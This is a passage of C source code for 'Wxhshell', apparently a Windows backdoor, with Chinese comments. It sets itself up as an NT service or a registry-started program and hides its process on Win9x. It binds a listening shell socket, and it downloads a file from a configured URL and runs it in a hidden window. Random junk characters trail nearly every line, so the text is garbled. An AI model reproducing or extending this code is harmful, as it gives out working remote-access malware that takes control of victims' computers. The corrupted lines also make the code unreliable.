ULONG UniqueProcessId; (FM4 ^#6
ULONG InheritedFromUniqueProcessId; Q2*/`L}m\
} PROCESS_BASIC_INFORMATION; QZ?d2PC=>?
Oc7 >S.1
PROCNTQSIP NtQueryInformationProcess; [!^cd%l
ows^W8-w
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6H0W`S0a
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gzor%)C
ppEJs
HANDLE hProcess; LRWOBD
PROCESS_BASIC_INFORMATION pbi; 5!<o-{J[(=
S2ark,sp6
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zCBplb
if(NULL == hInst ) return 0; >W'j9+Va
d& hD[v
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [d}qG#N
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ru:n~77{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A
6 :Q<
h9)RJSF4
if (!NtQueryInformationProcess) return 0; 6{Ks`Af
QW2?n`Fa9-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -)X{n?i
if(!hProcess) return 0; CQ<8P86gt
M^uU4My
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (s088O
IK3qE!,&U
CloseHandle(hProcess); d]MGN^%o
7ZQ'h3K
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zwnw'
if(hProcess==NULL) return 0; '| &,E#`
C,.-Q"juH
HMODULE hMod; @m?{80;uQ
char procName[255]; ' X}7]y
unsigned long cbNeeded; 3 q"7K
8^y= H=
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ae6("Oid
v`SY6;<2
CloseHandle(hProcess); v~}5u
5$O
uWTN2jr
if(strstr(procName,"services")) return 1; // 以服务启动 '6X%=f'^b
<Pio Q>~
return 0; // 注册表启动 z>|)ieL
} 8[M*
x3
`dO}L
// 主模块 ".E5t@ }?m
int StartWxhshell(LPSTR lpCmdLine) ywEDy|Wn$~
{ QF.3c6O@
SOCKET wsl; _W |R;Cz]
BOOL val=TRUE; -AC`q/bCD
int port=0; 9^!wUwB
struct sockaddr_in door; x<s|vgl|
Y9tV%
if(wscfg.ws_autoins) Install(); XCm\z9F
<raG07{!*
port=atoi(lpCmdLine); q3)wr%!k5D
5U~OP
if(port<=0) port=wscfg.ws_port; ]26mB
+2Ql~w@$^l
WSADATA data; #
kEOKmO
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (zC
H|`R4hAk
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; sP y2/7Wqd
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Gqt-_gga
door.sin_family = AF_INET; [O_^MA,z
door.sin_addr.s_addr = inet_addr("127.0.0.1"); bDWeU}
door.sin_port = htons(port); f05=Mc&)
x'qWM/
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -`Q}tg>cT
closesocket(wsl); AK *N
return 1; HIGNRm
} |1l&@#j!2
O:^'x*}
if(listen(wsl,2) == INVALID_SOCKET) { %b=p< h'(
closesocket(wsl); E:w:4[neh
return 1; 5m7b\Mak
} QrC/ssf}
Wxhshell(wsl); k_?~<vTM
WSACleanup(); Hbk&6kS
FJT1i@N
return 0; _]=9#Fg7{
CZ3].DA|z
} 9!}q{2j
G52Z)^
// 以NT服务方式启动 ErDL^M-`
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LeHiT>aX!
{ @]=f?+y[ 2
DWORD status = 0;
HE;V zR
DWORD specificError = 0xfffffff; ZXt?[Ll
:}9j^}"c3
serviceStatus.dwServiceType = SERVICE_WIN32; /K|:9Q$K6
serviceStatus.dwCurrentState = SERVICE_START_PENDING; FZXyfZw!|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
OJ/SYZ.r
serviceStatus.dwWin32ExitCode = 0; {155b0
serviceStatus.dwServiceSpecificExitCode = 0; n+;vjVS%
serviceStatus.dwCheckPoint = 0; P+Z\3re
serviceStatus.dwWaitHint = 0; "-
eZZEl(
w!`Umll2
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iYKU[UP?
if (hServiceStatusHandle==0) return; `*yAiv>
.X'<
D*
status = GetLastError(); }fA;7GW+9
if (status!=NO_ERROR) ?z=\Ye5x
{ U=cWmH
serviceStatus.dwCurrentState = SERVICE_STOPPED; QU/3X 1W
serviceStatus.dwCheckPoint = 0; r5 yO5W
serviceStatus.dwWaitHint = 0; iF9_b
serviceStatus.dwWin32ExitCode = status; 1h=D4yN
serviceStatus.dwServiceSpecificExitCode = specificError; z(H?VfJo
SetServiceStatus(hServiceStatusHandle, &serviceStatus); q4ipumy*
return; l}}UFEA^
} *eUc.MX6x
~Ltr.ci
serviceStatus.dwCurrentState = SERVICE_RUNNING; nbmc[!PwG
serviceStatus.dwCheckPoint = 0; tZA:
serviceStatus.dwWaitHint = 0; -(IC~
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y
~AmG~
} S&?7K-F>_o
i:Y\`J
// 处理NT服务事件,比如:启动、停止 /\E [
VOID WINAPI NTServiceHandler(DWORD fdwControl) t1ze-Ht;
{ T?npQA07=
switch(fdwControl) /IR#A%U
{ +\`rmI
case SERVICE_CONTROL_STOP: 6GINmkA
serviceStatus.dwWin32ExitCode = 0; 6t}XJB$+7
serviceStatus.dwCurrentState = SERVICE_STOPPED; q*8lnk
serviceStatus.dwCheckPoint = 0; 6I |A-h
serviceStatus.dwWaitHint = 0; J%Mnjk^_\S
{ 'RTtE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); QCpM|,drS
} 3t(c_:[%
return; |J3NR`-R
case SERVICE_CONTROL_PAUSE: (C S8(C4[
serviceStatus.dwCurrentState = SERVICE_PAUSED; OM:v`<T!z
break; 3nFt1E
case SERVICE_CONTROL_CONTINUE: EJm4xkYLj1
serviceStatus.dwCurrentState = SERVICE_RUNNING; E4HU 'y~
break; &q>zR6jne
case SERVICE_CONTROL_INTERROGATE: |LmSWy*7
break; p=gX!4,9<
}; S "
pI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); kuKa8c
} -BhTkoN)
s@!$='|
// 标准应用程序主函数 <KQ(c`KW7
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U7H9/<&o
{ Qn=$8!Qqa
ndi+xaQtG
// 获取操作系统版本 8eyl,W=dn
OsIsNt=GetOsVer(); JNo8>aFOb
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9B/1*+ M
Mqv[XHfB
// 从命令行安装 _x % 1 F
if(strpbrk(lpCmdLine,"iI")) Install(); *Km7U-BG
w> 979g
// 下载执行文件 '*R%^RK
if(wscfg.ws_downexe) { 4%_M27bu[
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R^8{bP
WinExec(wscfg.ws_filenam,SW_HIDE); ^}>/n. %
} zY%. Rq-
Gi7RMql6Q
if(!OsIsNt) { `# ^0cW
// 如果时win9x,隐藏进程并且设置为注册表启动 QxpKX_@Q5
HideProc(); YYUe)j{T
StartWxhshell(lpCmdLine); #Ufo)\x
} 213\ehhG<
else h6M;0_'
if(StartFromService()) \Tm}mAvK/o
// 以服务方式启动 SY
_='9U
StartServiceCtrlDispatcher(DispatchTable); &s
VadOBQ
else K2ewucn
// 普通方式启动 WzlC*iv
StartWxhshell(lpCmdLine); I>"Ci(N
A6p`ma $L
return 0; {a"RXa
}